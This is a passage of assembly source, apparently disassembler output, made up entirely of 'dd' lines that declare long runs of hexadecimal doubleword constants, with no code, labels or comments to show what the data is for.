		dd 62758994h, 5E59DFB6h, 0A5BD52A5h, 0BCE18F55h, 2FAF4C1Fh
		dd 5E0A4539h, 185505C9h, 1E934AE1h, 0BAE0861Eh,	18657C06h
		dd 5F7B6333h, 4663AF44h, 25B9AE7Eh, 89F1EA3Bh, 0A3FB3912h
		dd 5714ADB5h, 60044A46h, 77151828h, 4E9B008Ch, 0FE492142h
		dd 0D2EBB2E4h, 0B22E917Bh, 0A108A44Eh, 2E81409h, 9DB28B1Ah
		dd 6AA10BEAh, 50CAFC46h, 9DCDF41Bh, 0AE82CB07h,	0D9767D32h
		dd 2A9A0F00h, 8C7409A2h, 3F2FDBAEh, 4413C8EEh, 8DAE6733h
		dd 5E91E2D8h, 0ADF973F2h, 62E24D99h, 8A8FA62Ah,	0A15478CAh
		dd 0AEB327D4h, 0B7A7A820h, 5DD7502Ch, 127B31E7h, 0FAC46450h
		dd 5A6AE3A5h, 16F37669h, 0E343C673h, 0AC9DBA1Eh, 0BAEE4C05h
		dd 0E81A4F2Fh, 0E4D07AFh, 9805C7C2h, 2A5BAC6Bh,	8C97A51Bh
		dd 0BFEA216Ah, 6953E4EAh, 1713907Fh, 3A18007Bh,	9B4F14E8h
		dd 0B92FF1B9h, 0BB937039h, 7F71B0D0h, 2EB1B6BDh, 640C3F5Fh
		dd 8F9637B5h, 60A68F32h, 0A3BF5C46h, 0C87AF801h, 0FD549B6Ah
		dd 94B109Eh, 0DC761A2Fh, 0DB936689h, 4647F7EFh,	0CA22BCE1h
		dd 0B43E6D90h, 0C7077ACEh, 139ACCCAh, 0F8A0F2Ah, 0EAD9F2BCh
		dd 8D11B70Ah, 2721BA30h, 1D7C8727h, 936F8C15h, 0C8A5335Ah
		dd 895BAD7Ch, 41DC9A60h, 0F69CDF42h, 0E381CF54h, 0CECDE48Ch
		dd 87C366FDh, 0BA8B8E8Ah, 3DC9D9B0h, 99585FFFh,	0A38DE85h
		dd 6F033C1Dh, 188EC286h, 70923185h, 60493E46h, 0AD0F3D29h
		dd 0E0E905E0h, 0C3CE8D81h, 0A0A28A2Bh, 0A02E9AEDh, 2255DBh
		dd 0ACE0290h, 9B3D95C3h, 0AD6B0AD1h, 8C6D24E8h,	0AB6C2B94h
		dd 74C46DA3h, 7488DCE8h, 49894CC4h, 0F44A8CF5h,	0FF2DDD54h
		dd 0C0EA66F7h, 0D257E8BEh, 0FC777556h, 375E8E6Fh, 0FEE3BFD8h
		dd 0CBF61A25h, 19161715h, 36D012E9h, 7C6D9961h,	0A83F4C0Ch
		dd 6D32C149h, 2DA9F8B4h, 0D9D16D5Dh, 0E0B578CCh, 0E789ECC2h
		dd 0CE0A6A38h, 5029B48Eh, 0E42DC411h, 71169B6Ah, 0F7DAB4F6h
		dd 0C2ECF8FAh, 1FCD706Fh, 373228B1h, 0BB51B80Bh, 81881791h
		dd 6D20B39Bh, 0CE60AC8Fh
		dd 42D4EB94h, 0A2F1D07h, 8BB09FA4h, 12D66A37h, 47666B4Fh
		dd 658EE91Dh, 0F543B095h, 3C306A4Ah, 0DD124CBCh, 0FEE8BB32h
		dd 97CF3B6Ah, 44F5483Eh, 0D5D87BCFh, 58CE19E4h,	0F274EE80h
		dd 52069125h, 0B1E4FA48h, 622E5B45h, 2DC1223Fh,	0C39F11CEh
		dd 498A5398h, 42075702h, 40DE10A4h, 62DFED1Ch, 32F2978Ch
		dd 0BBF4D6EFh, 0BB8428Fh, 8922D1F8h, 6FEE6E76h,	0D4F5996Dh
		dd 8A0EFDABh, 0C9031A21h, 7C518E8Bh, 0C22A3EDBh, 708CAB19h
		dd 0E466B052h, 0EDEE4C98h, 0A4C6279Dh, 0FB4E4C64h, 0E0718FEEh
		dd 2B25E761h, 5ABDCB1Ch, 77B2CDBFh, 733B24E9h, 7C1B5C8Ah
		dd 9EFC1091h, 0A4115EC7h, 6D82258Ah, 0B391446Dh, 8D797CECh
		dd 24DC624Eh, 3F34ACF9h, 0A1930DBFh, 0DA7F5A8Fh, 0CD046E88h
		dd 0EAB2AF35h, 660AD1Fh, 1F132DEAh, 0B4CF1493h,	7CE210BEh
		dd 201FD5E3h, 300388B0h, 0A190C514h, 0E55CF59Fh, 0EE7D578Fh
		dd 9787353Ch, 825180DCh, 0A3BFBD6Fh, 79E70611h,	0EE4E6CD4h
		dd 0AF51C303h, 0BC1DBD9Ah, 6E9A08A1h, 2E6FA1C9h, 6DF73D97h
		dd 0FB3ADB2Ah, 2E2E994Fh, 0D46C6475h, 27063D59h, 2CDE934Fh
		dd 713A776Dh, 70FD8931h, 0F94B2C2Dh, 0FF0E7D73h, 7F303F7Eh
		dd 807F35CAh, 437064Fh,	38A99693h, 40E6FEC9h, 8CC9B15Dh
		dd 4EFE301h, 0A6510E0Ch, 1C4D1DA6h, 1ED57CA4h, 7BCA8FA4h
		dd 418B0574h, 0E329D29Bh, 917DC48Bh, 62AECEF9h,	7B79A9FBh
		dd 0FAE43678h, 18103F09h, 462DD429h, 4DE6C8CAh,	0C3FDE6F7h
		dd 0AF4CB348h, 0E8B26183h, 624B5B2Ah, 9333F37Ch, 45E585A9h
		dd 0F0C089C9h, 0EAD2B960h, 0CDD3C808h, 2C84F07Ah, 195EA9ECh
		dd 0AD016B5Bh, 1575F4D0h, 7B5AA6F1h, 0FFB8DD04h, 0BCE80726h
		dd 1EEE234Dh, 4FFC1C1Ah, 0DC7693E8h, 72319ACFh,	59F1095Fh
		dd 0FA9A1BCAh, 9224AB5h, 0F7BD1D13h, 2381AB5Fh,	8296AB77h
		dd 0F7E79EADh, 3B6920BCh, 901628ACh, 0B9DD1C33h, 63C0DEEh
		dd 0C8DB5ACDh, 97299596h, 269870AFh, 647A8496h,	90E8AC95h
		dd 98BF8E43h, 33B2B63Bh, 0BC1503DEh, 19583EFh, 0BB2AD380h
		dd 63C9D549h, 74911483h, 97D47FF5h, 110E8398h, 863C098Eh
		dd 7670E22Bh, 0D2669250h, 9CD7DBEDh, 8A3992F9h,	0BBB33AA0h
		dd 73939C26h, 5BEF83ABh, 0E2C48338h, 0DC32D5FCh, 19CD751Fh
		dd 95969AADh, 5944FFC6h, 8C0A5F1Fh, 96285ADDh, 0BB7CC7ECh
		dd 0CB8C124Dh, 0CE2B050Ch, 0E8042C99h, 57FA19B0h, 0A1007D8Ch
		dd 44E36586h, 4D9847B3h, 3B4FD023h, 86354316h, 0AF611534h
		dd 4E730114h, 0AB62571Eh, 0BAEAB25Eh, 9A196CF9h, 7EC960DBh
		dd 8887E8Ch, 0BB0946CAh, 2E0B53B5h, 6553D733h, 5C4DFBB7h
		dd 5B4EE09Dh, 0FD133E20h, 43BF99D5h, 0D7E0DD86h, 85AEB714h
		dd 2A6B7016h, 0C708B26Bh, 75BC9B19h, 3A00A062h,	0A085B0A3h
		dd 4543A94Ch, 0A2BDB03Bh, 53282C15h, 0A19998D1h, 0DEEA5896h
		dd 7ED0200Dh, 0D1850CAEh, 0A94CD75Fh, 285AE3D4h, 0EAAE0C90h
		dd 23EF50E8h, 0EFB7A605h, 0B692BB41h, 2BD042B0h, 63B8699Eh
		dd 5ADD6C6Ch, 44378EBBh, 2EC7F48Dh, 61A5253Eh, 9E8A5A30h
		dd 0D7327DFAh, 0DDDA4D5h, 0BFBDF570h, 0D0C6D7B9h, 0AF4A5915h
		dd 0FBBDEA14h, 8B94B293h, 3141AF66h, 50DF1D04h,	13489031h
		dd 801F1A7Bh, 1A1C4582h, 9E508FAAh, 0EC577022h,	65FB5C9Fh
		dd 2CA567FDh, 6A0C5116h, 256E61B1h, 335D9F0Bh, 61F0C8E3h
		dd 27E19CABh, 0EDDE9995h, 16CE2B3Bh, 2EBD4C4Eh,	21B00DAh
		dd 56220A40h, 71AFD6A6h, 0DE787008h, 686D4F54h,	96F360Fh
		dd 0D18344ABh, 5255B75Eh, 8F4DA88h, 0B5570C19h,	0F6BE9AF1h
		dd 276BC40Dh, 22503401h, 40B59646h, 931A38Eh, 0D0293F6Fh
		dd 1F3F4C8Fh, 78DCE33Ah, 0DABA808Bh, 0EB34C44Ah, 678E517h
		dd 2852129Ch, 22C09BA7h, 4CDB0ECCh, 0FECC8AD9h,	9BA44C84h
		dd 0EA1D31C8h, 12DEA987h, 3A26B2FDh, 8878D01Ah,	0F509B859h
		dd 5D71FEh, 461C34DDh, 0BE935D00h, 68B4A9A7h, 5A4B6442h
		dd 20454F50h, 1ED6B5B8h, 0E52ACDB2h, 0D4951C27h, 9B979156h
		dd 0C603D35h, 5D051665h, 0B6E27F0Dh, 0AE543ECDh, 9EDC7F0h
		dd 0C58FE250h, 4A7BDABh, 4BAFD5F1h, 7B77BA9Dh, 90BA5422h
		dd 53CF0342h, 9674DC6Eh, 23F410ACh, 21877E16h, 3A296036h
		dd 18EB7925h, 9A4A73BDh, 6DB5B0B8h, 2BD7BC26h, 6771913Bh
		dd 5305C44Ch, 46BB7BD5h, 0C0C2457Ch, 0A7A013C9h, 0AD70488Bh
		dd 0B8D4DD31h, 0FA0F93B1h, 9E19F80Ah, 543B8D4Ch, 33A25A51h
		dd 0FBE569CFh, 23800370h, 5955FA9Ah, 96C8D7CEh,	2F5E198h
		dd 9EF3FBF0h, 0E91A504Ch, 7690DE87h, 654A4D29h,	1B695496h
		dd 0ABFC2B01h, 5F35E182h, 19FFEF5Dh, 3C99C245h,	478D0A0Fh
		dd 4E19FC1Eh, 0EA1F5D01h, 0A3974B00h, 0D425AC9Bh, 6F10D3F4h
		dd 88431CC5h, 0BFAB277Fh, 0C8378A3Fh, 0D9130A93h, 0A9CD0577h
		dd 0ABC316E2h, 48348471h, 74BAC368h, 0A97264D6h, 1D640B8Ch
		dd 55484541h, 35C99F3Dh, 0E622A704h, 0A8CB8797h, 61F943B9h
		dd 241E15B4h, 554DB183h, 152E6F03h, 48E892D7h, 4FE5C2D2h
		dd 87CDB4A6h, 903207ACh, 0B69F2C77h, 0C4302D08h, 7EFF8693h
		dd 0F00E6D37h, 0A75BB149h, 0F81A9E3h, 0A6DE8DFCh, 0BFDDE63Ch
		dd 0BE4DDB87h, 0C938800Dh, 0DB8C690Eh, 3C35F864h, 0EE0093D4h
		dd 9EC78DBBh, 0E6D22629h, 0FB8BAAECh, 0CD4C2B40h, 218EC171h
		dd 0E3A8B1D1h, 0D2C556BCh, 59A7C4C9h, 7B1AE079h, 0E7CED29h
		dd 0B92CD3Ch, 60BA8B14h, 71B99993h, 0C68306E3h,	82CF85CDh
		dd 0ABFDE9DCh, 0BD128BB9h, 0DC4AEC5h, 323BE176h, 5A128698h
		dd 6ACEC721h, 0A06CD1BFh, 33121290h, 0FD701AF3h, 8FB3389h
		dd 0C16121BFh, 0BD5501FDh, 59F2E2CBh, 0F53924BCh, 6E6561B3h
		dd 8DD4F798h, 0FAFAF600h, 0C5247B36h, 0BB459BFDh, 9BD5F875h
		dd 0FB3347AFh, 4310AA6Ch, 7A575FEDh, 9BF41C02h,	0F7DC6BC5h
		dd 8AE80354h, 44318284h, 6CF82D91h, 6E12A93Dh, 0DC7DF2BEh
		dd 0EE5FFFCFh, 61E628A3h, 4370D234h, 497C2350h,	757B11ECh
		dd 0EB87749Ah, 64BA2163h, 279179EFh, 0B8589A68h, 0FB8BDABBh
		dd 8D66BDB4h, 0EC20A928h, 7473A94h, 0CF29FB21h,	2902522Ah
		dd 3149D9E9h, 0A5E60953h, 24D12621h, 75F2C6ACh,	80293698h
		dd 8FC883Fh, 8C558EE1h,	99CB0430h, 9E610928h, 0D3184DB5h
		dd 8040714Fh, 0D0F50F3Eh, 57352D3Dh, 2A995D07h,	3593F448h
		dd 1B7F9F86h, 3B09EB2Fh, 90FD544h, 0F30D4B3Bh, 0F6B37CCh
		dd 99D66753h, 0CA4A687Eh, 69C00A3Fh, 12F440F2h,	285E6B74h
		dd 6F64D2C9h, 0CF045006h, 40D529Eh, 5B975CADh, 407760C8h
		dd 39933C4Ah, 0F5630005h, 4961F568h, 6696DEE3h,	0A57B7FE0h
		dd 5780AE41h, 0D41C6D14h, 1D5B7B73h, 0DDB5187Fh, 6F611EA0h
		dd 70ECBB04h, 5B96419Bh, 979219Dh, 8650DFAAh, 0C3C92888h
		dd 1BBCBD8Ch, 93AE43B4h, 0F20A01A3h, 0ECA7F963h, 2BB877DBh
		dd 0D2455C2Eh, 0E421231Ch, 344CADB7h, 0C0FC705Fh, 832C9ADCh
		dd 40BDD995h, 177771A6h, 0A9B3BD09h, 63781532h,	0F64A7DD0h
		dd 0D6E3734h, 0ACBF7E9Fh, 8AEA5DFDh, 0AC497B29h, 0E87CEF14h
		dd 6690D1CAh, 551051E9h, 16AB37E4h, 0DFE0FCF4h,	0E3AD6176h
		dd 0BE109D9Ch, 9A51D5E7h, 7229BA08h, 0F01D2DE5h, 8971DB8h
		dd 0CF36B3E4h, 0D204187Dh, 3D3DBA0Fh, 0A842059h, 0BEDBF0D4h
		dd 939B332Ch, 9722B275h, 755FE190h, 5964B1A8h, 4CB7208Bh
		dd 8F33E250h, 0C3BD828h
		dd 525BC3F6h, 2029BC53h, 5568E5B9h, 0E29BF4D9h,	0B96801A4h
		dd 1BABE700h, 0EC53A7ECh, 5E9F6333h, 1D58C93Ch,	9A070C49h
		dd 0A35C3946h, 399C422h, 0A96B8A6Fh, 9C9F180h, 4DB2EED8h
		dd 46732E6Ch, 0A5562C1Ah, 7BFB3FDDh, 9C257A89h,	0E31645D1h
		dd 0E2F64906h, 54166AA2h, 520E2B25h, 6550D9FAh,	0D022AFE0h
		dd 0C863BB68h, 4112988Eh, 0EC176A76h, 0DACC9577h, 3FB0DDFEh
		dd 0F227DAE8h, 0F3C21732h, 0E44CE28Ah, 0ABD295FFh, 0C9D212Eh
		dd 37A99CE8h, 7E644156h, 0AE07969h, 97ECDB79h, 51A487FAh
		dd 8FD00394h, 0C02157Fh, 0D99AE173h, 0E7222CA8h, 660300B9h
		dd 0CBD1DB46h, 0ACCC2150h, 8909AF1Eh, 0A04D9580h, 0F29ABFB3h
		dd 0EE3F1CA9h, 47EB4882h, 0C50304CEh, 5220CC9Eh, 0F6352A2Ah
		dd 660EEDA1h, 56CFB1B0h, 72B4CA92h, 838C02E2h, 4A75DFFAh
		dd 0FA29CF71h, 4B7B78EEh, 430DAD3Eh, 0B53E8006h, 62F90E5h
		dd 6D27EFCCh, 474AA560h, 0C229365Ch, 0A3827004h, 184CFF2Ch
		dd 69026035h, 0DD4A6EDFh, 64B16B26h, 0D3C133CBh, 14231EAEh
		dd 96C65E31h, 2489A13h,	0D111C6DCh, 45ADD747h, 0E40CDCA6h
		dd 0DA17CA62h, 0ED545314h, 0F24AA6BAh, 0B82617E4h, 0E40DB33Ch
		dd 9D7EFFC4h, 0B88A56C6h, 80E0704Bh, 0AA19B3F2h, 0D74D5504h
		dd 936B599Ah, 463B3E60h, 19A01960h, 1461BA58h, 8311625Eh
		dd 0F3A4F4FDh, 533A57B3h, 0FB5BA950h, 8129D1D5h, 958EF8D6h
		dd 497D6C89h, 69941941h, 0F736ADA7h, 63A02A87h,	8FD93CC2h
		dd 0E2AA81DEh, 255CFC9Dh, 0ED8B7F8Fh, 0D7074384h, 0A0FA1AF3h
		dd 291D292Ah, 0C1BEA135h, 0BB229D9Fh, 0FF035AEh, 8AC9CEB9h
		dd 0D0710E6Fh, 44B38EF0h, 0DAAA74C2h, 0C29B75F0h, 8803D9C7h
		dd 247CC49h, 218538EDh,	4E85B375h, 51283861h, 0E21B76B9h
		dd 2B8A91E5h, 8F0C3637h, 0EB8B2072h, 6F7FF937h,	0E0B11F45h
		dd 0DEC6B339h, 3055D44Bh, 0A4622580h, 5043278Eh, 0CC29633Bh
		dd 0F31A0D3Eh, 89AB2E63h, 7AFF414h, 0D8C9F4DDh,	7A166391h
		dd 76A3FF6Dh, 0DE46C38Ah, 9D061921h, 7FF52F44h,	0BC1ACF60h
		dd 0D612EDDh, 227E1710h, 98E82550h, 0D84F789Dh,	874C4F7Bh
		dd 20A4BDA6h, 0A3DE9C98h, 23953647h, 6BB6CD2Dh,	9A94DCF3h
		dd 4C38C4C5h, 9AED7A55h, 0AD35E2BBh, 4CD78A44h,	3863F271h
		dd 0D1FB0169h, 4CCCF479h, 8018FDD3h, 0CC266B6Fh, 4FFDF357h
		dd 46602667h, 8E35629Ah, 7A94A83h, 380EE777h, 0BDA70BD7h
		dd 225F0485h, 0B4ACF394h, 0AC4B0EA6h, 0AFE53AA1h, 0AEA8C626h
		dd 0F31B3ABh, 0DA880A40h, 0F00971EFh, 881A5C40h, 536CC2F9h
		dd 739467A0h, 69F9C1C2h, 54CFA568h, 0C945538Fh,	9B305678h
		dd 0F0D7D0D9h, 0F5A3453Dh, 776A5DA2h, 0FB0650B6h, 0D7E9CAF8h
		dd 0B122BF9Ah, 0C9C349F4h, 716487F8h, 265A751Dh, 6F7221FCh
		dd 0F9BCCD3Fh, 6845B70h, 24C84CDEh, 4B92DE54h, 0B45CA2D5h
		dd 72FFF59Fh, 0A632513Ch, 35336A72h, 0A4CB25A7h, 983DF537h
		dd 0EA29AE58h, 4B841CF7h, 0DB84E6A5h, 0E4BA95Ah, 17958E90h
		dd 85872DC6h, 9EE0A710h, 0E2012F7Eh, 0C5DC6CCh,	0AEDA6932h
		dd 7A7D739h, 5B89F759h,	0B682FC68h, 0F0FB6227h,	807C7239h
		dd 67A45890h, 0E2ED311Dh, 6D60DE20h, 50E334D6h,	82BB086Dh
		dd 18A43AE7h, 0DF140E34h, 589F990Bh, 33F80F24h,	92AF748Ah
		dd 36EAF902h, 54A98E16h, 0D09701E0h, 6E12B1Fh, 0F47BF543h
		dd 29B949DFh, 0D590D153h, 0E2FB54A2h, 7CE1B8C9h, 9F22A6CEh
		dd 4AF23BDBh, 96AD2A8Eh, 49C3D59Fh, 474C07C5h, 0AFE943B6h
		dd 0A76BAF12h, 3A1E7C7Ah, 2E2A4440h, 1AC0CC97h,	95389995h
		dd 47CD89DCh, 0DEDFFD8Fh, 6F09D3CAh, 0D561883Dh, 0CCA47871h
		dd 6057A081h, 0EF786895h, 1C3E9273h, 65676C48h,	0F565417Fh
		dd 650E1BFFh, 8053357h,	63879CF2h, 3A270916h, 0CCC7EE67h
		dd 0C8E09C2Dh, 3BABF52h, 451D8D6Fh, 0EB63EDC4h,	166F39ADh
		dd 0CA749B4Eh, 6A794119h, 8167C507h, 0D60DF0A8h, 70BA7D4h
		dd 60D062EBh, 5BBF6503h, 0ECEC0D7Fh, 0CE37FA25h, 7B78AD7Ch
		dd 0D694E6E2h, 91496996h, 0D224E360h, 5A06BA6Ah, 40DDAA54h
		dd 0B557CC58h, 5971AF17h, 0CADF0AB9h, 62703E8Ch, 7FDEE96Fh
		dd 54EC42BEh, 612DCD07h, 47E02629h, 0C00C9C23h,	84860D9Ah
		dd 30B99989h, 94161C16h, 7D83E3F2h, 939B997Eh, 0A4FC8CFFh
		dd 345E94FDh, 0F4A47076h, 0BA186F5Ch, 0C0FA380Ah, 36E0E4C1h
		dd 67F76E74h, 81B96248h, 0F462D575h, 0ADC55D3Bh, 82F50E7Fh
		dd 1D261759h, 0D36585ACh, 0FC8D095Fh, 516C977Ah, 0BEBF93E1h
		dd 0DCCA5F2Ch, 0F4C5D6F7h, 0CB32A5C3h, 0CF5CC05Fh, 0CE07AC50h
		dd 1ACEB5B3h, 2BB26B72h, 37C065C7h, 64A90B73h, 0E185E40Fh
		dd 62AC1440h, 806879E6h, 9B12A43Fh, 0D525947Ch,	0B395AA74h
		dd 0FA7CB50h, 0B86C278Fh, 0F539B825h, 2E1F8D7Ah, 0D4A9C523h
		dd 9451DD94h, 49138C65h, 337522B2h, 0CA449804h,	3EED9C3Bh
		dd 0E12D504Eh, 163ADB75h, 5DE7C6BCh, 3977CA61h,	0A62FA838h
		dd 5B7845Ch, 9A8D02h, 0A7D08110h, 0F577086Dh, 3A9846B7h
		dd 0A503B587h, 0BE3EAB36h, 79963967h, 0E22CA043h, 6809C7A2h
		dd 183A4C03h, 0CC63A570h, 0F22ADB99h, 0FE799FE8h, 8FAA1C7Fh
		dd 12C8C703h, 26B7AFBDh, 0CFB30887h, 0E250D649h, 0C1267383h
		dd 0DE1F8118h, 5C6ADB62h, 0AB329E26h, 757B7C89h, 0D62E48AEh
		dd 4C8E8393h, 90F50F32h, 0AE6E403Eh, 564A0C90h,	0E39B2BF6h
		dd 68E41407h, 136AB3A3h, 7B9A2033h, 0DFFC8227h,	0B80C9086h
		dd 0A1E17C0Fh, 329FAD1Bh, 0C8C1F24Dh, 0D0BE651Dh, 199F2AFDh
		dd 708A248Fh, 535B9425h, 6F42B3D0h, 674A5752h, 82BB00A2h
		dd 5E17453h, 0EFBF6C54h, 14C1D282h, 0A7DA134Fh,	23B6300Ah
		dd 81E122B0h, 0F9CDF096h, 0E7355573h, 0D063D88h, 74F6264Bh
		dd 0F6A296C0h, 5C96872Ch, 0B6988B81h, 0CF31721Fh, 0F99A0C42h
		dd 0C34A0FAFh, 63D14643h, 99263935h, 352DBB10h,	2178D6ACh
		dd 144991Ah, 2A5EAB51h,	0FD89B606h, 0BC3FD386h,	8F2EB1A5h
		dd 68B7E330h, 0A0814EE4h, 0D12C1276h, 33FEFFBh,	1D09EC1h
		dd 0CD4FF7A4h, 0ADAA52A3h, 2DAA0E85h, 6EAF961h,	0D4B39ED2h
		dd 17E8194Bh, 76454AC0h, 7FC2ED88h, 1A678599h, 76700109h
		dd 0B8C1BD55h, 93AB6DE5h, 297DD9C2h, 0E4178A19h, 4A9C9260h
		dd 8AA80A0Dh, 44F4D3D9h, 0FEAA2A0Bh, 0A77FF70Fh, 0D68679D8h
		dd 8A07A92Ah, 59E86F4Fh, 7751BB35h, 0A18FCCC8h,	8C8E1F41h
		dd 0FA846902h, 0AEE5B734h, 2227C053h, 806DBA4Ah, 570B095Fh
		dd 46EE8208h, 4A16F04Dh, 36652EEFh, 539BC470h, 0BE65CC08h
		dd 0E4EC6A85h, 3771B80Bh, 884F88CBh, 2373FF1h, 0E63FED60h
		dd 930790E2h, 0E1A0E26Eh, 70F0C1E5h, 304D4AECh,	0A4D2FB0h
		dd 65888D00h, 1354F762h, 0A808C304h, 37FF432Bh,	1EFFD92Ch
		dd 2ACFF29Bh, 30C6CA6Dh, 1C6B99ABh, 0B56EC490h,	0AC87CBD4h
		dd 0B18CFB08h, 73DF66E2h, 9F954F45h, 17E952F8h,	0D716442Dh
		dd 82477AE7h, 895C0FFDh, 75C69B62h, 2460EE1Ch, 442CD081h
		dd 2EE4DD9Eh, 0C101D37Bh, 0B90E47DEh, 72CE6F21h, 963200B8h
		dd 555646FEh, 8111231h,	398C8B92h, 0C365B3A0h, 64AD4BBCh
		dd 0EBA6E0B0h, 0E12EFE55h, 66C572B4h, 413D1Dh, 0CCF9E1F3h
		dd 8E636229h, 4252D65Ch, 75AC0BA3h, 8B92132Fh, 587C4CB1h
		dd 0D8238B46h, 5D933694h, 3A93E9B0h, 0FE3DEEACh, 0C0B2CDABh
		dd 0B79DAAF9h, 641C65AAh
		dd 0AAB69248h, 98F5FBF1h, 0AB24105Dh, 0FD7A19F9h, 933B45D7h
		dd 5BBEC946h, 0B3DBDDCAh, 0AEF9D218h, 6A772EC6h, 1D4830E1h
		dd 3534819Dh, 6CDFB589h, 98B73D0Dh, 4A3B5925h, 185057F9h
		dd 0D94BED5Fh, 652E420h, 4D52D130h, 0EEA09068h,	0D98898E4h
		dd 839B20F7h, 9951D601h, 69E84704h, 0B5E50ECFh,	7BFAD85Ah
		dd 4D4CBCDFh, 9DC0EBD2h, 0CF235B2h, 0F68A058Ch,	34AB29E0h
		dd 51ED27FFh, 0B5DC9DCh, 7581B80h, 32E38953h, 59D27DDFh
		dd 5D8C5003h, 851C929Ah, 16E5C26Fh, 0C8C627E3h,	7F1CFD71h
		dd 0CF4C7AE0h, 0B9F27123h, 13BC53BEh, 0BAB827D1h, 31F97943h
		dd 4C1FDC0Fh, 7B2AB441h, 0C10E15ADh, 0F0D156F6h, 3F72FF90h
		dd 7592204Bh, 3645828Bh, 3AC1699h, 0E296B1A9h, 1CDA4C14h
		dd 0A25465D7h, 22E9545Ah, 54CC26B2h, 562362DCh,	0E4A32D62h
		dd 9D9A000Dh, 1C32CD5h,	0A78286C0h, 515128D5h, 0A49DF60Ah
		dd 75763BA3h, 0DFA92828h, 631D3E1Dh, 0E13199C7h, 18F23F7Fh
		dd 6FB27FF6h, 8DF36245h, 0BB6ECFE5h, 0FD9FBEB8h, 5DDEE906h
		dd 0BF25C13Dh, 6766AF29h, 8606C2A3h, 0F543137Eh, 0ABDBCD9Ch
		dd 0AD9D2224h, 0F024C497h, 6528E1A3h, 0B1CD3C3Ah, 142956D3h
		dd 0AEE4E076h, 2EEA1064h, 0D2A31EC7h, 5ECD3ADDh, 0A54B77F4h
		dd 0B6ED36C1h, 9E39E1A4h, 30063021h, 8CF3A8B6h,	0F304155Dh
		dd 3A36C1D6h, 4ADF6773h, 0CE5D78DBh, 736B0EB0h,	19B52023h
		dd 40B230A7h, 711E90CFh, 0E69E0002h, 61A1A1Ch, 0C1704D3Ch
		dd 9D69F951h, 0DF1335CCh, 4539C105h, 0C01B1484h, 64719030h
		dd 3F3747E7h, 0C0484276h, 156E95C7h, 902570BDh,	0D42770EEh
		dd 0DEBC350Ch, 0F1EDEDCEh, 0F9280E2Eh, 79DF9FC0h, 75CF7949h
		dd 0F6F82A6Dh, 7A606BC7h, 90B432ECh, 5F5C01FAh,	56018B84h
		dd 821B6922h, 46D64C45h, 2B2965F8h, 52E942B8h, 387D53EFh
		dd 1C365DE3h, 784D703Dh, 0CD9FC90Bh, 0DB5DC923h, 0D707264Fh
		dd 0B25D617h, 7F6F3B0Fh, 33797B22h, 7629B85Bh, 0F867A9CEh
		dd 0F6AD75D0h, 0E03E94BCh, 0E9734844h, 0FC22AE6Dh, 0AED36814h
		dd 27CE2598h, 252108C3h, 475F0B72h, 823A7410h, 0BAD21BB0h
		dd 5B8DD618h, 0AD0177DCh, 6ECECB23h, 0B05E811Fh, 22A4232Dh
		dd 64DA101Ah, 0A27D3335h, 0DA0B71D5h, 0FEE79AB4h, 85BE6106h
		dd 90797274h, 0DCF15970h, 6A498F0Bh, 0A3611C4Ch, 0D84DC47Eh
		dd 0F186684Bh, 8F8DA297h, 998D994Ch, 7EFAD8CDh,	4A9E0171h
		dd 4EA0ECEFh, 8B916F02h, 0BC62F2DEh, 34CF77DDh,	614E9BEDh
		dd 0EFBAFF62h, 50301C97h, 0B144AB87h, 3DA4B8F5h, 0B3485D34h
		dd 668DA3CCh, 3FE2CDF0h, 0A1B2466Ch, 1AD71C3Bh,	0E5076952h
		dd 3060742h, 3C96B793h,	0D1A60EE3h, 42555B88h, 0B4678655h
		dd 0AD090A9Ch, 3178DC5Eh, 80EA184Bh, 1E08B024h,	7D233BD3h
		dd 0EEF5FC74h, 0FF6182A0h, 0B9562DC8h, 8006AAC3h, 0C2680E15h
		dd 90248F31h, 5A57A2D5h, 59F37597h, 0D510654Bh,	577A114Bh
		dd 121BECE3h, 88B1345Ch, 0BDA963FAh, 0CC26C2F0h, 0E6D5E560h
		dd 0EE235BCFh, 92A664DFh, 27E71249h, 0D7F202BCh, 6001D338h
		dd 20497E1Ch, 0E97C2684h, 0E9C49F14h, 3C33A8B9h, 859D8437h
		dd 0F7312170h, 77F63F0Fh, 4B48646Bh, 8435DF8h, 5A952F31h
		dd 0F07CD2D1h, 81A9105Fh, 0EC96DDC5h, 9840B3Ah,	0CF07B326h
		dd 0D50D54A9h, 75DBD5FEh, 205DEBD4h, 96C740Eh, 0B4542C35h
		dd 0AF3C49Ah, 0F51F3FDAh, 72E8DF7Fh, 0AEF58F5Dh, 750A1B30h
		dd 6001DEBh, 9AF1A941h,	2DBAF84Dh, 6BBA6A04h, 0EE74C692h
		dd 7B4E5EEEh, 0D334AE36h, 6915BF09h, 4D8CE387h,	899DCCA4h
		dd 6716117Dh, 734C6E98h, 0D06EE7Eh, 0FF3298B8h,	0F4107668h
		dd 0F587D36Ah, 0EBC5F16h, 0F6CB28ABh, 0FFC2D0FFh, 2C3ED0F8h
		dd 8831656Ah, 0D4C6C798h, 0C905B61Dh, 0ED2D09B1h, 3760250Ch
		dd 0EF1B0E17h, 5ACDF6CBh, 4D727BF6h, 5F71D82Fh,	0B91DC656h
		dd 665B0100h, 4BD4555Eh, 0C8EA6592h, 0C53B0EA3h, 193B7D3h
		dd 0C06D819Dh, 4FBB718h, 0F86B1245h, 1FE29A70h,	5D17BF5Eh
		dd 3935B319h, 0E16E0312h, 805D3313h, 4B53BA7h, 70BE1852h
		dd 4A3B592Fh, 0BE0BB0FFh, 0CDA244D4h, 5340FA77h, 29AA8F3Eh
		dd 0F626CB87h, 6C789744h, 73A4140Bh, 1D988EA0h,	0C69F5DCEh
		dd 6CAB243Ch, 6A942B5Dh, 6422CD39h, 2EA95E5Bh, 0C57C7D9h
		dd 0C422DC3h, 0EC61AD85h, 0EFC8E388h, 2EB6364Ch, 0F6182964h
		dd 0CA9EE11Dh, 7885ED9Dh, 0F4C470E7h, 5C6A720Eh, 2321EF86h
		dd 13084E94h, 731A20D4h, 3486D13Ch, 201B340Bh, 0E2251251h
		dd 635820E1h, 509E8203h, 21E93DDDh, 65F1BE4Ch, 50AD32D2h
		dd 0C3F9A54Dh, 3D6B479Ch, 0D8C67E6Bh, 77B85B7Ch, 60412F8Fh
		dd 0D556B614h, 0C0861C4Eh, 0E7E78F04h, 438611D0h, 0F241D379h
		dd 0DE20A124h, 2784274Eh, 5224AFD0h, 2690E81Bh,	0EBA9DB84h
		dd 627F5AE0h, 0D996441Dh, 68A68CC7h, 0E12B89F0h, 8E4E6FC5h
		dd 0BFE61AF0h, 7C4F26FDh, 0D7D68D8Dh, 8D18D584h, 0A4AF7BFEh
